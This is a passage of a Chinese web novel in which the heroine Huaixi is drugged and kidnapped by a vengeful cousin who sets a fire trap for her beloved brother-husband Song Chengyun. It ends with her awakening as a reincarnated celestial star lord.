两人均是一夜未睡,怀夕眼下就比平常多了一抹灰青。 宋承云则不然,丝毫看不出一丝疲倦神采,更有甚,可说是精神愈发焕发。 怀夕回屋里小躺了半个时辰,便也起身了。 过几日便是清明,虽无法回泸州为父母双亲扫墓,但青元山设了牌位,那日她与哥哥照例要去青元山为父母亲上柱香的,一些祭拜的经书和瓜果也要先准备好。 这次大概也要住一晚,不过只两日来回,除了一些新鲜瓜果,其他东西收拾好,也就两三个包袱。 准备妥当后,见外头日光正好,又不如午后那般晒,怀夕索性让丫鬟搬了个躺椅和几个小矮凳,备了点茶水点心,到外头庭院树下晒晒太阳。 琥珀和翡翠只陪她小坐了一会,便说趁风朗日清,两个主子又都不在屋里,正好她们进去擦洗一番,只留下小艾陪怀夕说话。 主仆二人默契地眯着眼睛晒着太阳,一时间谁也没有开口。 日光暖而不烫,照得人懒洋洋的。 怀夕躺在躺椅上,手背覆在眼眸上遮挡日光。 身上本就倦懒,又有微风习习,这样照着很舒服。 她眯着眼,意识也逐渐迷瞪过去,也不知过了多久,她听见挪动矮凳的声音,而后是小艾轻轻一声,“公子。” 怀夕手背拿开,睁开眼。 宋承云站在树沿边,见怀夕睁开眼,微微侧身,替她挡住耀眼的日光。 圆溜溜的眼珠子转了转,怀夕微眯了眯眸,并不欲坐起。 她伸手,宋承云默契地牵住,就势坐在她身边的小矮凳,惹得怀夕脸上的笑意更盛了着。 怀夕侧过头,看哥哥高大的身躯坐在小矮凳上,有些滑稽,她忍不住弯了弯眼,噗呲笑出声。 日光下,素净的青色襦裙衬得她不施粉黛的小脸更是灵动好看。 小艾已经默默退下。 见小姑娘笑得欢,宋承云眼尾也弯出一抹浅浅的弧度。 他手指轻轻摩挲着她莹白圆润的指腹,在看到她眉眼弯弯时,俯身下去,在她眼接处落下一吻。 轻轻一吻落下,只停留一瞬便抬起,看着怀夕短暂间盈上粉色的双颊,他笑了笑,拿起她的茶杯,把剩下的半杯凉茶饮下。 怀夕不得不坐起来,她咬着唇,左右看了看,心想还好没人。 “杨夫人要上京了?”宋承云声音不大,但听在耳朵里清凌凌的,很好听。 果然,怀夕注意力马上被转移,她眼眸亮了亮,“哥哥怎么也知道?” 宋承云与杨铭同在翰林院,有着同窗的情谊,两家从前又住在同一巷子,家眷熟识,平时偶尔也会问候对方。 不过他知道,是因为他刚刚才在家中送走杨铭。 两人负责经典修缮,杨铭翻旧经集时发现些错漏,虽今日休沐,但两家离得也不算远,他索性上门与宋承云洽讨。 大概是因为怀夕与他夫人私交甚笃,临走时杨铭主动提到他家夫人不日进京,而后不知怎地又回忆起往昔,说当初初来金陵多亏有怀夕相伴云云 杨铭平日并不是多话的人,宋承云猜他今日心情不错,故此言语才比平日多了许多。 听说杨铭来过,怀夕倒是习以为常,只是有些可惜,若早些知道他来,她倒有几句话想问他。 不过错过便错过了,也不是什么要紧的,届时圆圆姐到了直接问她也可。 宋承云见怀夕听完愣愣的不知在想什么,目光温和地抚了抚她颊边的头发。 怀夕回过神,随手拈了一枚糕点,送到口中咬了一半。 “这叠八珍糕是刘婆子今日试手做的,哥哥试试?” 怀夕见对面的人点了点头,却没有伸手去拿,反而看着她手上已经咬了一半的糕点。 “” 不是她想的那样吧 宋承云穿着青白的直裰,即便坐在矮凳上,身姿也是挺拔清隽,不笑的时候神态清冷如霜,模样端方,叫人难敢起一丝亵渎之心。 怀夕觉得自己想岔了,哥哥不会是想吃她手上吃剩的糕点,于是她把另一半糕点放到口中,然后去拈一枚新的,试探地喂到他嘴边。 看着小姑娘沾在嘴边的细屑,宋承云垂了垂眸,掩下眸里暗光。然后才微启唇,接过她喂过来的糕点。 第76章 第76章我与哥哥是两情相悦 清明前两日,金陵便开始纷纷洒洒下起雨,一刻也未停歇。 原本宋承云想让怀夕等他当值回来后再一起动身去青元山,去到正好在那边住一晚,第二日再行祭祀之事。 但怀夕想着白日闲着也是闲着,雨势也不大,且祭祀烧香前还有些事情要准备,临行前一晚,她便同宋承云说她想清早提先出发,一是先把准备的东西提前带过去,二是她顺便白日也可以在山上闲逛走走。 宋承云犹豫了会,也不想太拘着怀夕,便吩咐松毫留下,陪她先行。 翌日,怀夕起了个大早,待送走宋承云后,她简单用了早膳后,便带着小艾上了马车。松毫和车夫坐在马车外,一行四人便奔往青元山。 一早雨势稍歇,马车一路平坦驶到青元山下,但天公不作好,山间密林多,刚到山脚下,雨突然倾颓而下,怀夕她们只能赶紧先弃了马车,在山脚处的小茶馆避雨。 好过山里的天气变脸快,前一刻还雷声隆隆,但不久,天边黑沉沉的云雾就散了些。 一刻钟后雨势慢慢减小,只剩毛毛雨丝轻缓缓地飘着。 怀夕走出小茶馆,伸手往雨棚外面感受了一会,只捞到寥寥几根雨丝。 雨虽小了,但大雨过后,山路恐怕更是滑溜不好走,马车不好载她们上半山腰了。 好在只住一晚,带的几个包袱还算轻巧,怀夕索性让松毫和车夫先找个地方把马车安顿好,然后再把车里的几个包袱背着带到山顶,她则与小艾打伞慢慢走上去,便当踏青了。 松毫担心一会还有大雨,一时不敢贸然应下。 茶馆的老板是个年近七旬的老翁,他的小茶馆已经在此处开了二十余年,对这里的天气 和路形山势都很是清楚。 因连日雨势绵绵,上山的人少了一些,茶馆的生意寥寥。 老翁坐在雨棚下,听到怀夕和松毫的对话,抚了抚白须笑道:“贵人倒可以放心,老汉在这里卖茶二十余年,对山里的天气颇有心得,刚这场雨下得这般酣畅淋漓,短时内不会再有大雨了,若运气好,明日或许能收晴。” 怀夕点了点头,微弯着眸同他道谢,便让松毫放心去。 松毫只好应下。 一路慢行走到半山腰,小艾身上也带了一个小包袱,装了些茶水点心,待两人有些微喘,她们便寻了半山的一块小石歇息。 云山睥睨,半山腰处几座大庙,香客不少。 寺庙外今日有僧尼打了个小茶棚,煮了些清热解毒的青草水,供香客自行取用。 带来的水恰好喝完,按她们的脚程走到山顶不知还要多久,小艾让怀夕在原地坐等,她拿着壶去小茶棚排队接水。 虽排队的人不少,但还算有序,不到一刻钟,小艾便回来了。只是发现原地只剩她刚刚放下的小包袱,却见不到姑娘的身影。 小艾拿起包袱,转头四处寻找。 刚下过几天雨,山上云雾缭绕,满山苍翠掩在厚厚的云海之中,十步远便有些看不清来人的身影。小艾环顾一圈没找到,开始有些着急,小跑着呼喊:“姑娘,姑娘” 但呼喊声很快就淹没在人群喧嚣声里,小艾只能每见一个人,就比划着,问他们有没有看到怀夕 但小艾不知道,在她着急忙忙慌寻找时,怀夕已经被蒙晕,被藏到一个普通的硬木箱子里,和一堆废旧的桌椅被几个寻常的扛夫运到山脚,而后箱子被人放到一辆马车里,往城外疾驰而去- 不知过了多久,怀夕睁眼时发现眼前覆着一层黑布。 周遭一片黑暗,而她四肢被绑住,嘴巴也被塞了一块布,只能发出呜呜声 她能感受到后背抵着硬硬的板,周遭空间并不大,并且断断续续摇晃着。 记忆慢慢回笼,她记得原本是在等着小艾去装草药水,因等得有些久,她便走到旁侧一个无人的小亭里看风景。 但刚进去没多久,她听到有浅浅的脚步声走近,正欲转身离开时,便被突然伸过来的手捂住口鼻 她尽量使自己沉静下来,她能听到马车的轱辘声,料想她是在装在马车上 可她思来想去,她平日几乎足不出户,想来并未得罪什么人,难道是什么绑匪,欲抓她来谋财吗? 怀夕还不知道,人性之险恶,在于不得则嗔,不得则怒。 没有疑惑太久,颠簸了一小会,马车便停下了。 怀夕听到有脚步声,有低声细语的声响,她屏息,却还是听不清他们在说什么。 很快,她感觉装着她的东西被抬起,走了一段路,又被放下。 抬的人或许不清楚箱子里头装了人,放下时几人相继放下,以致于落下的时候怀夕重重撞到壁沿,疼得她皱紧眉头- 青元山上,松毫他们早已经让寺庙的僧人在帮忙找人。 丢的是他们家的夫人,松毫心里又惊又慌。 知道事情紧急,他正交待小艾在这里等着僧人消息,自己准备打马回去禀告公子。 倒没想到,公子比原先预计的早到许多。 宋承云下值后没回宅子,直接打马来了青元山,只是未料到会在山下遇见松毫等人。 看到他们神色匆忙,他的眉心重重跳了一下。 见到宋承云,松毫和小艾急忙跑过去,也顾不得行礼,急忙禀道:“公子,夫人在半山寺庙前走丢” 松毫跟在宋承云身边已久,还算沉着,三言两语把话说清楚,说到小艾取水回来找不到怀夕时,宋承云瞥了小艾一眼,眼神冰冷如霜。 小艾心里着急,也顾不上害怕,哭着一旁说道,“排队时我回头看,姑娘明明还在原地的,况且包袱还在,姑娘定然没有走远的” 宋承云仔细听着,沉思了一小会,将他们所述在脑海里梳理了一遍,然后吩咐道:“小艾守在这里等消息。” 他转头看松毫,“你拿着我的帖去找青元县的县令,请他派些人马帮忙搜寻,有消息立马告诉我。” 说完,宋承云又跨上马,松毫急忙问道:“公子去哪?” “回城。”宋承云神色晦暗,直觉告诉他,怀夕恐怕已经不在这里了。而要在更大范围内找人,只能寻助刑部的手段- 怀夕在黑暗里不知呆了多久,直到她觉得呼吸有些困难,心头隐隐发痛时,才终于重见一丝光亮。 箱子被打开时,她下意识抬头往上仰 一个她意料未及的人映入眼帘。 宋承林。 自上次被哥哥救走后,怀夕本来已经淡忘了上次被宋承林劫走一事。 可眼下一见到他,有些混乱肮脏的回忆忽然就涌上来,她下意识就皱了皱眉。 明明是因为眼前的女子,自己才会断了一只手,变成人人嘲笑的鬼样,可在见到日思夜想的那张面孔时,宋承林眼底还是划过一丝眷恋。 尽数挽起的发髻露出优美纤白的脖颈,无声地在提醒着,眼前人已经嫁作他妇。 待看清女子眸里毫不掩饰的鄙弃和恶心时,宋承林脸色愈发阴鸷骇人,他俯身将怀夕从箱子里拉起来,然后粗暴地扔到地上。 他居高临下瞥她,哼笑了一声,“宋怀夕,没想到吧,我们还能再次相见。” 怀夕手和双腿都被绑住,只能用脚跟在地上蹭着,企图远离宋承林。 “我记得,上次相聚时,你说我之行为是禽兽。”宋承林蹲到怀夕身旁,伸出左手食指,在她脸颊处上下滑动,“怎么?如今你却甘愿呆在另一个禽兽身边?” 宋承林见怀夕转头避开他的手,脸上的笑更深了些,看着有些瘆人。 “为什么呢?”仿佛呓语般,他盯着怀夕的眼睛问道。 宋承云到底哪里比他好? 怀夕皱着眉看他,她觉得宋承林恐怕是疯了,上次哥哥愿意留他一命,他居然还敢再次出现。 “是他逼你的么?”像毒蛇的眼睛,宋承林紧紧盯着怀夕,不想错过她脸上的任何一丝表情。 他承认,即使断手,可他内心里没有真的恨过怀夕。 她那样干净,那样纯洁,仿佛就是上天按着他喜欢的模样捏出来的宝物 他可以接受怀夕不接受自己。 但为什么,为什么转头她便嫁给宋承云。 她上次明明说过,她们是兄妹。 他都不行,凭什么宋承云可以? 他想,一定是宋承云逼她骗她的。 他相信,只要看清宋承云的龌龊心思,怀夕一定 也会鄙夷他的。 只要怀夕愿意回心转意,他发誓,不管发生什么,他百分百还会接纳她。 听到怀夕呜呜几声,宋承林伸手把她嘴上的那团布抽走。 怀夕猛地咳嗽几声,然后才抬头瞪着宋承林,“什么逼不逼,我与哥哥是两情相悦,宋承林,你到底想干什么!” “你”那块布又被塞回,堵住怀夕未尽的话,怀夕气得只能呜呜 “两情相悦?”宋承林脸色难看得不行,眼眸里掩不住嫉恨和嗜血,“你们是兄妹!” 可这借口,连他都不能说服自己。 不是亲兄妹不是么? 他站起来,眼神恨恨地盯着怀夕,而后,仿佛落定了什么主意。 他在门扇处敲了两声,就有两个黑布蒙面的人走了进来。 宋承林眼睛瞥向窗边的美人榻,他们便心领神会,将怀夕拉过去。 怀夕手脚连同身子被他们用一条更结实的绳子重新绑得紧紧的。 做完这些之后,那两个蒙面人便如鬼魂般又退下了。 宋承林走上前,拔开怀夕嘴上的布,灌了一茶杯水后,又把布塞回去。 他带着愤怒,一套动作做得生硬,怀夕躲不过,只能忍着痛生受着。 “等着瞧吧。”宋承林逆着光,脸显得尤其阴暗,“我倒是要看看,他还能威风多久。”之后,他深看了怀夕一眼,便直奔门外而去。 怀夕看着他的背影,这才发现他右侧袖子空荡荡的 屋内黑沉沉的,怀夕借着透进窗内的夜色仔细打量着屋内。 窗台处厚厚一层灰,除了她身下这张美人榻和临窗处一张书桌,屋内并无什么摆设,看着像是久无人居住的屋子。 宋承林甩袖而去后,她听见不远处有房门被踢开的声响,想来他身处的屋子离自己并不远。 怀夕俯身,借着美人榻的边沿慢慢将嘴里塞着的那块布蹭出来,只是手上和脚上的绳子绑得太紧,用蹭用咬都解不开,只落得满头大汗。 久未进食,折腾一番,怀夕已经有些使不上力气了,只好歪靠着美人榻浅浅地喘息休息。 天色再晚一些时,宋承林又来过一趟,脸色依然阴翳。 不过看到她嘴上没了那块布,倒也没有说什么,只是冷冰冰地走进,扔了一个馒头在她身边,然后看都不看她就又推门出去。 虽然他脸色很难看,但没有停留,反而叫人安心一些。 怀夕看着脚边的馒头,咽了咽口水。 即便要逃走,也要先填饱肚子 怀夕并不担心宋承林下毒,自己已经落到他手上了,若是想要她的命,提刀过来不是更方便? 想通之后,便不再犹豫,她笨拙地腾挪身子,直到双手握住那个馒头 吃完过后,不知是不是太过疲累,在暗沉沉的屋子内呆久了,竟然起了些困意。她拼命地咬着自己的嘴唇,企图让自己清醒一些,但还是抵挡不了那股子困意 其实对于宋承林的意图,怀夕还是猜错了,馒头还是下了些迷药的。 隔壁的屋子内燃着一盏即将油尽的灯,宋承林坐在桌前,眼睛死死地盯着那快要消逝的光亮,眼眸里是恶狠狠的恨意。 此处庄子是他几个月前用别人名义盘下的,此番,他借口出门做生意,瞒着泸州的亲人,又在中途支开了随从。算来,已独自在此处呆了一月有余。 今日替她绑来怀夕的人,皆是把头挂在裤腰上的江湖草匪,只认钱,货钱两讫后便一拍两散。 整座庄子侍候的几个奴仆,早在几日前也被他遣散了。 而他做这些,不过是想把另一个人引过来。 空荡荡的袖管和伤口不时的痛痒无时不刻在提醒着他曾经的屈辱。 在泸州听到宋承云和怀夕成婚的消息,他便暗暗发誓,有朝一日,他一定会要了这对狗男女的命。 可看到怀夕的那一刻,看到她蹙眉,他发现他还是有些不忍。 到底要不要她的性命,他可以慢慢考虑。 但宋承云的命,他要定了! 此上金陵,他已做好玉石俱焚的打算。 成,他生,他死。 败,他们三一起死。 如果他得不到怀夕,那他们就一起下地狱吧。 如今,棋已落定,接下来,就看宋承云愿不愿意钻进这个必死的圈套了。 第77章 第77章原来,她是九重天上的白…… 直至第二日天亮,怀夕还有些晕沉,至此,她才知道,她吃的那个馒头是有问题的。 之后宋承林再送来的吃食,怀夕不肯再吃。 宋承林见状,捏着她的下颌想硬塞进去,可怀夕紧闭着口,一时他也无法如愿。 不知是因为没什么耐心,还是有更紧急的事要去做,宋承林不时盯着门外。 最后实在喂不下去,他恼羞成怒,直接把整盘吃食掀翻在地。 他冷冷看着怀夕手脚上因挣扎勒出的血痕,眼神更加阴厉。 不愿吃便算了,料想她挣扎不开,待他处理完宋承云,有的是时间同她磨。 一整个下午,隔着窗纸,怀夕看到宋承林一直在院子里徘徊,不知在做些什么。到了晚些,有铁罐重重落在地上的声音,然后,鼻翼间便闻到一股刺鼻的硫磺硝石味…… 味道随着外面身影的挪动愈发重了起来,最后,房门被推开,宋承林甚至还提了几桶火油,打开盖子,就这样放在屋内…… 见怀夕目露惊慌,宋承林反而笑了,他走近,摸了摸怀夕因挣扎而乱得不行的鬓发,安慰道:“妹妹,放心吧,我还舍不得你死,以备万一罢了。” 临出门前,他复又找了块布,严严实实地塞在怀夕嘴里,而后在屋内走了一圈,在桌上处寻到一个火折子,拿到手里,又看了怀夕一眼,这才推门走出……- 怀夕走失的当晚,小厮在门边捡到一封书信,只是书信外封上什么都没写。 原本想着待主人回来再呈上去,没曾想,亥时一过,本应在青元山的主人出现在门口。 小厮不敢耽误,急忙把那张帖子呈上。 宋承云刚从青元山赶回,本欲回宅子里取一样东西再去求见刑部张侍郎,被小厮拦下时,他脸上颇有不耐。 随手撕开书信时,看到内容时,他握着信笺的指节陡然发白。 他眉峰如淬了寒刃般压下,在扫过“独自前来,否则,尸首一具”时剧烈一颤。 宋承云自小过目不忘,但帖子的字迹,他却是第一次见到。 歪歪扭扭,并不算工整。 至于到底是谁送来的,去看看便知道了。 奔袭几个时辰,宋承运赶在黄昏时分到了城外的一处小庄子。 从外面看,庄子不大。应是许久不住人,门外的对联已经褪了艳色,破破烂烂的。 门上未落锁,虚虚地掩着,宋承云走上前,推开门走了进去。 院子里,摆放着一套桌椅,茶炉滚滚。 此刻,宋承林端在在椅子上,用左手不紧不慢地端起茶壶,将水注入到茶杯内。 听到门嘎吱一声响,他略微抬了抬眸。 倒是比意料中还快了一些。 他将手里的茶盖抚过茶水,呵笑一声,“二哥倒是真敢来。” 宋承林根本不担心宋承云身后带了人。 很讽刺的是,他知道,宋承云不会宋怀夕涉险。 拿住怀夕,就是拿住宋承云的命脉。 见是他,宋承云皱了皱眉,不欲与他废话,压着沉沉的脸,直接问道:“她在哪?” “急什么?”宋承林往后歪了歪头,“我们的帐还没算清楚呢。” 宋承云往他身后看去,身后除了一间主屋,左右两侧各有两个厢房,他提步向前。 宋承林把手里的茶杯放下,随手把桌上的火折子拿起来,挡住宋承云的去路,“想死,便往前。” 从入门开始,庄子里就散发着一阵阵浓厚的火油味,宋承云瞥过宋承林手上的火折子,目光又落到他身后湿漉漉的地面。 他才留心到,房屋四周的湿漉,不是水迹,而是粘稠的油迹…… …… 宋承云顿住脚步,冷眼觑宋承林,“不就是想要我的命么?” “不愧是世人口中精才绝艳的宋大人,聪明。” “我已经来了,放了她。” 明明此刻他手上拿捏着他的性命,可见宋承云脸上毫无惧色,看着他的目光更仿佛是看一个笑话一般,宋承林面色便有些狰狞,也不想去掩饰心头的恨意,“你说的没错,我就是想要你的命。” “不过,还不急。”宋承林踢了踢地上的刀,指了指他的断臂,“好哥哥,你这般聪明,应该知道该怎么做吧?” “先让我看到她。”宋承云冷冷说道,他必须先确认怀夕还好好的。 宋承林冷哼一声,事 到如今,他们俩已然是自己掌中之物。 见宋承云愈着重怀夕,宋承林嫉妒同时,又有种扭曲的得意感,仿佛自己终于能拿捏到他的软肋。 终于,他能让宋怀夕好好看看,她心心念念的哥哥,会如何死在他的手里。 宋承林手里举着火折子,正对着宋承云往后退了几步,而后伸手,推开一扇房门。 一门之隔,门外的对话,早就一字不落进怀夕耳中。 怀夕边听边死命地扭着手腕间的绳子,把手腕扭得血迹斑斑。 听到开门声,她急忙往外面看去,却只看到宋承林向她走近…… 为了震慑宋承云,宋承林在怀夕所在屋子的外围洒了许多引火用的硝石,屋子里面还放了几桶火油,阵势做的极足。 他走到怀夕前面停住,而后转身看着宋承云一步一步踏进屋内——他为他准备好的死地。 他已经有些疯魔了,脸上既有不管不顾的狠厉,又有些得意洋洋。 即便屋内昏暗,宋承云第一眼还是看到怀夕小脸上有几丝淡淡的血痕。 目光往下,看到她手腕处的绳子有些未干透的血迹…… “你胆敢伤她。”玉色锦袍下绷紧的肩臂如拉满的弓弦,宋承云终于正眼看向宋承林,目光冷厉,仿佛下一刻便要搅碎他的灵魂。 “……” 看到哥哥,怀夕内心立马就安定了一些,对视时眼眸里不自觉地就染上些雾气。 宋承云用眼神安抚怀夕,而后看着宋承林,“既然你要的是我的命,那便让她走,我留下。” 看到宋承云失了往日那种云淡风轻的模样,宋承林只觉得痛快,他哈哈大笑道:“宋承云,你是不是觉得除了你之外,人人都是傻子?” “你自然要死,至于……”宋承林回头看了一眼怀夕,见她眼泪汪汪不错眼地看着宋承云,心里愈发起了怒火。 他忽然转了个念头,握着火折子的手又往胸前摸出一把小刀,就势丢到宋承云脚下。 “让我放了怀夕也无不可,但二哥总要让我看到一点诚意吧。”他慢悠悠说道:“我向来羡慕二哥能写得一手好字,既如此,就先麻烦哥哥先挑断自己的手筋吧。” 闻言,他身后的怀夕看着宋承云,拼命摇头,嘴巴被塞住,她只能发出呜呜的闷声。 而宋承云不假思索,直接往前走了两步,蹲下,捡起那把小刀。 “说话算话?” “呵……”不算话又怎样。 宋承林眼眸里是瘆人的惊光,“二哥可是觉得你还有与我讨价还价的余地?” “不怕告诉你,今天,你逃不掉。” 宋承林扬了扬手上的火折子,“至于妹妹,你舍不得她受伤,我亦是。” 宋承云知道此刻不应激怒宋承林,他只想让怀夕尽快离开这处险地。 他抬头看怀夕,眼里含了几分温柔,“别怕,夕儿。”看着怀夕拼命摇头,泪如雨滴一般止不停,他心纠作一块,只能哄她,“乖,闭眼。” 说完后,他不再看怀夕,身躯往右侧了侧,正好让宋承林完全挡住怀夕的视线,然后,将刀递到左手,毫无犹豫,嘶拉一声…… 血向外喷发,宋承林的脸上也喷到几滴血。 他先是有些震惊,未料到宋承云对自己也那么狠。 他摸了摸脸上的温热,放到眼前瞧了一眼,“不愧是二哥,对弟弟心狠,对自己亦是。” 见宋承云满手滴血,他心情似乎好了几分,转头把捆着怀夕和美人榻的那个绳结用刀划拉开…… 绳结一断,怀夕手脚虽还被捆着,但至少能稍微挪动了些,她用小腿使力,拼命想往宋承云的方向挪。 但宋承林将手压在她肩上,轻而易举地制住她。 看着宋承云无力下垂的右手,宋承林温和笑道:“滴水之恩当涌泉相报,二哥既断了我一只手,弟弟总不能让哥哥失望才对。” 宋承林脸色阴鸷下来,扬了扬下颌,“再加一条左腿吧,断完筋,我就送她出去。” 宋承云紧皱着眉头,左手的刀紧握着…… 而见宋承云开始往下蹲,手里的刀往脚脖愈来愈近时,怀夕不知哪来的力气,手肘带着身体用力撞向宋承林。 宋承林一时不察,竟被她撞得踉跄了几步,手里的火折子也掉到地上。 电石火光间,三个人的目光同时聚集到在地上哐当滚地的火折子上…… 火折子撞到桌腿,又往宋承林的方向滚回来。 宋承林站稳后,下意识地弯腰过去捡…… 宋承云亦是,只是他是蹲下的姿势,再站起来已经失了先机,况且,右手已经耷拉着无法再动。 千钧一发之际,他转而奔向怀夕,将捆着她脚的绳子划开…… “快跑!” 他深深地看了怀夕一眼,来不及交待什么,在宋承林转身之际,持刀向他扑了过去…… 即便只有左手,他也很快将刀搭在宋承林的脖颈处。 刀没入肉里,宋承林滞在原地,还未反应过来局势的转变,下意识用力地把手上的火折子握紧。 “别动。”宋承云喝他。 脚终于得了自由,怀夕终于能站起来,可手上的绳子还未解开。 “夕儿,走。”宋承云催促她,他的右手还在滴血,他不知道能制住宋承林多久。 “哥哥!”怀夕下意识地想跑向宋承云,却被他制止。 可不行,她看到宋承林手里的火折子,她跑了,哥哥怎么办。 怀夕还是往前走…… 可他们不知道,宋承林是抱着必死的决心设了这个局的。 他已经是废人,他不怕死。 不管怎么样,死之前,他一定要拉着宋承云当垫背。 看着怀夕愈走愈近,脖颈的刀愈压愈深,宋承林趁宋承云注意力放在怀夕身上时,将手里的火折子拉进,而后,对着它,猛然吹了口气 那火折子因掉落,盖子早已不知滚到哪去。而宋承林抱着必死的决心,待火折子红光渐渐闪现时,用迅雷不及掩耳之势,扔向一旁的火油桶里 叮咚一声,火折子没入油里 火油上立刻现出一层淡淡的蓝色火焰,几簇火焰杯溅到油桶外,落到早已浸过火油的硝石上 一触即发,火焰厚厚地燃起来,与此同时,宋承林被宋承云一刀封喉倒地。 在晶莹而炙热的火焰将他们覆住前,宋承云伸手,紧紧拥住奔向他的怀夕 一切发生的那么快,根本不给人反应的时间,怀夕凭本能地奔向宋承云 她只知道,是生是死,她都要与哥哥在一起。 她并没有一丝恐惧,被炙热包裹住之时,她甚至分不清是火焰的温度,还是来自哥哥怀抱的温度。 当大火覆上身时,怀夕以为定会有炙人的痛苦,但意外地,身上没有任何痛感 但她不知道,此时她的识海,她的心脏,正慢慢四分五裂,揉作一团,被融于火焰里,而后一寸寸血肉开始重铸…… 当一缕不属于她却极其强大的神魂抽离出她的身子时,痛感如洪水般忽然铺天盖地而来…… 痛 如万把冰刃钻入心口,所到之处皮肉绽开又重铸,怀夕痛得喘不上气 千万年来的的回忆趁着脏腑四分五裂的缝隙一丝一缕地钻入身体,痛晕过去之前,脑海里划过一段以身献祭皿灵阵时的场景 血色火光印在瞳眸 ,与她从前赴死前几乎一致。 便连钻进耳边的呼唤,也一如既往的熟悉。 若没猜错,那声音,来自她那个一向冷冰冰的师尊 原来,怀夕也好,花石也罢,皆是浮生一梦。 她是九重天上的白虎星君,白芷。 第78章 第78章好在死得其所 九重天万壑碧海,云雾层叠缭绕,天地精纯灵气涓涓流淌于此。 五彩仙鹤翩跹飞舞在雄峙的殿宇间,碧蓝色与金光翻卷出美妙的光彩,祥和而威严。 天门往北,巍然耸立的天柱峰隐于云层之上。 夺人眼目的,是悬立在峰顶的一把剑。 那剑身被暗蓝丝线缚满,即使周遭金光和灵气流淌,整把剑依然暗沉无光,丝毫看不出它曾经的风采。 九霄之巅,琉璃仙宫群落的西北角,一处有别于九重天满目金光白云,各式仙草奇花缤纷绽放的玲珑水榭,时隔万年,终于迎回它的主人。 在满室熏染流转的药香中,躺在床上的女子手指颤了颤,紧接着,她清灵的眉眼深深皱紧,仿佛在忍受着极大的痛苦。 仿佛有千万个碎片在识海里游走拼凑——皿灵阵前喷涌的魔气,遍地的哭喊和哀嚎,无数倒下的仙兵魔将,所有的场面止于一声熟悉的“白芷” 那道清泠的声音穿透梦魇,将她带离那个血腥残忍的地方,女子猛然睁开双眼。 那是一双清灵透亮到惊人的眼眸,像是映着晨曦的山泉,流转间藏着世间最澄澈的灵韵。 因女子面色苍白,她微微睁大眼眸时,瞳孔边缘那圈极浅的琉璃蓝色显得更为清晰。 冷汗浸湿了云朵般轻柔的中衣,几缕散发黏在煞白的嘴边,白芷咬着牙忍着身上的剧痛,抬眸看了一眼眼前熟悉的场景。 她不是已经祭阵了吗? 虽然她常年在三界各处玩荡,留在九重天的时间并不算多,但若是她没看错,这里是她在九重天的居所,临云水榭。 记忆随着剧痛翻涌回笼 ——魔界起乱,仙界应付不及,恰逢她从北荒回来,闲着无聊,随着战神桑尤前往魔界镇乱 虽说魔界的新任魔主后卿是罕见的天生魔骨,但到底年岁稚嫩。 白芷虽然修为上不太上心,但毕竟父神母神还在时她已是威赫一方的星君,镇压个魔乱自然不在话下。 更何况,还有桑尤。 一切理所当然的顺利,大战开始时,她甚至悠闲地想在魔界的皿灵台上刻上本君到此一游 总之,只用了不到两日,魔乱便被镇压。 可谁也没料到,魔乱只是个幌子。 形势在一夜间翻天覆地变化,战神桑尤不知缘由在一夜间堕了魔,而魔主后卿借助桑尤堕魔时那股外泄的神力,重启魔界皿灵台。 皿灵台,用如起名,能皿万物生灵。 包括神。 众神诞生之初,天道赋予众神凌驾于众生的创世能力,而为避免有些神明滥用灵力,创神之时,皿灵台随之诞生。 而自创世起,皿灵台只由父神和母神开启过一次,第一代掌管魔界的创世神便陨落于此。 自此,皿灵台再无开启过。 白芷不知道魔界到底使了何种手段,竟能引得桑尤堕魔。 但他们的动机倒是不难猜测,无非是想借皿灵台开启,引起三界动乱,让魔界能问鼎三界。 因些际遇,白芷曾经在魔界小住了一段时日。关于魔主后卿,她有过几分交集,但因立场不同,交情也不深。 她怎么都想不到,他会用这样的手段掀起三界动乱 桑尤堕魔很是突然,皿灵台忽然开启,除了仙兵仙将,当时留在魔界的,只有她和玄武两位上古星君。 她与玄武从前是母神的护卫神兽,曾亲眼看过皿灵台开启的盛状,即便有父神和母神的神力庇护,周遭几十里的生灵几乎无一不能幸免。 好在桑尤外泄神力终究有限,皿灵台只开了个小小的缝隙,但缝隙虽小,威力却是不容小觑。 即便灵力如他们这样深厚的人,在皿灵台开启时都经不住吐了几口血。 当初父神和母神决定开启皿灵台时,她还是一只刚出生不久的小兽。好在她向来记性好,周遭哀嚎四起之时,她记起当时靠在母神手上假寐时听到的对话。 父神说过,皿灵台之启封,皆须以神仙之元神叩阵。 显然桑尤外泄的元神之力叩开了阵。 那封阵呢?世间的神只余三位,除了桑尤,其他两位,蚩衹远在幽冥,她的师尊九黎倒是可以,可眼下已经来不及通知他了…… 白芷有自知之明,她与玄武二人之力加起来都无法与桑尤外泄的神力对抗…… 当看到无数仙兵魔将被卷入皿灵台时,她唯想到一个办法——用她的元神加原身祭阵 她是星君,虽不是神,但承天地混沌之力而生,与皿灵阵阵灵算是同宗,阵眼第一时间不会攻击她。 她可以利用阵眼攻击她的时间差用元神封阵 虽然过程有些惨烈,但好在最后她还是勉强用一己之力将已经开启的阵法关闭 说实在的,殒身之际,她是有些后悔的。 后悔这千万年来太过于散漫,白得了九黎弟子的称号,修为却没有精进多少。 好在死得其所,大概也不会让九黎太过丢脸 哎 不过她与九黎两人本来也只是半路搭伙的师徒,他那人又向来冷清。岁月绵长,再过个千百年,他约莫会将她忘了吧。 白芷盯着床上盈着淡淡柔光的月影纱帘,摇了摇头。 看吧,不管是做人还是做神仙,永远不要为未发生的事情担忧。 这不,她居然还活着。 目前看来,九黎是没把她忘了的。 床上的玉眠石铸于幽冥冰玉,寒性极强,但白芷躺在上面,只觉得温凉。 她闭上眼,凝神用灵力探过全身的经脉 探过心间时,只觉得灵台隐隐发痛,她分出一丝心神猜想,难道这是因被无烬剑穿心而过的影响? 片刻后,白芷睁开眼,无声地叹了口气。 虽捡回一条命,但如今这幅身子,灵力微乎甚微 说是残躯都不为过 虽说她在修炼上向来爱偷懒些,但挡不住她天生悟性高,想当年,她可是母神座下四神兽中最勇猛的白虎星君 可现在,连自己想撑着坐起来,都没有气力 算了,留得青山在,不怕没柴烧。 虽说千万年来一大部分时间她都在外面玩闹,但醒来就看到与从前无一丝变化的住处,白芷难得有种回家温暖的感觉。 白芷从神都搬到九重天时,九重天上只有两位主神居住,便是桑尤和九黎。 两位神君喜静,一南一北两处居住,互不相扰。 当然,这种互不相扰的局面止于白芷搬进来之前。 因为青龙星君也被桑尤挑中,与她一同搬进九重天,所以白芷南北两边蹿着,连带着桑尤和九黎见面的次数也多了不少。 不过,白芷私心里一直觉得,青龙跟着桑尤,比她跟着九黎好多了。 